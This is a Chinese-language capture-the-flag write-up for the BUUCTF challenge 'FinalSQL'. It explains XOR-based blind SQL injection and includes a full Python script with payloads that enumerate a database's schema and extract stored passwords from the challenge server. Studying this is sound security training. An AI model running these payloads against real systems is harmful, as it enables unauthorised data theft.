来自
[极客大挑战 2019]FinalSQL
开始以为是正常的sql注入,因为这五个都点不出东西。
但是常规和非常规方法都用过了,fuzz了半天发现全给过滤完了。
看了看其他wp才发现注入点就在这五个数字这里,用的知识点叫异或注入。
后续就是我自己的复现了。
这里有个异或注入的博客:
https://www.jianshu.com/p/d41ba0cb3f79
这里借用一下博客:https://blog.csdn.net/qq_60829702/article/details/127445276的盲注脚本:
''' 注:这里加上time.sleep可以正确的把buuctf中的题目数据正确爆出来。timeout应该不用加,但是加了也没事 ''' import requests import string import time strings = string.printable flag = '' for num in range(1,300): time.sleep(0.06) for i in strings: url='http://26817d9c-ef28-4799-a2dd-acbaf6e47b7c.node4.buuoj.cn:81/search.php' # payload='1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^1'.format(num,ord(i)) #爆数据库 #information_schema,mysql,performance_schema,test,geek # payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))={1})^1".format(num,ord(i)) #爆表 # F1naI1y,Flaaaaag # payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{0},1))={1})^1".format(num,ord(i)) #爆列名 # F1naI1y:id,username,password Flaaaaag:id,fl4gawsl # payload='1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{0},1))={1})^1'.format(num,ord(i)) payload='1^(ascii(substr(reverse((select(group_concat(password))from(F1naI1y))),{0},1))={1})^1'.format(num,ord(i)) #爆字段 #爆字段 get_data={"id":payload} res = requests.get(url,params=get_data,timeout=5) time.sleep(0.04) if 'this' in res.text: flag += i print(flag) else: continue print(flag)
注意:这里爆数据使用了reverse是因为原博主看一些师傅的wp发现flag是在最后的,前面特别多无用的数据要爆很久,然后直接取巧了。
大家也可以使用二分法的方式来爆数据,时间肯定比我这个程序快,实现起来也不难,但是我就偷一点懒,等下一次碰到盲注的题目试一下二分法。还有最后搞出来的数据大家反转一下就是flag了。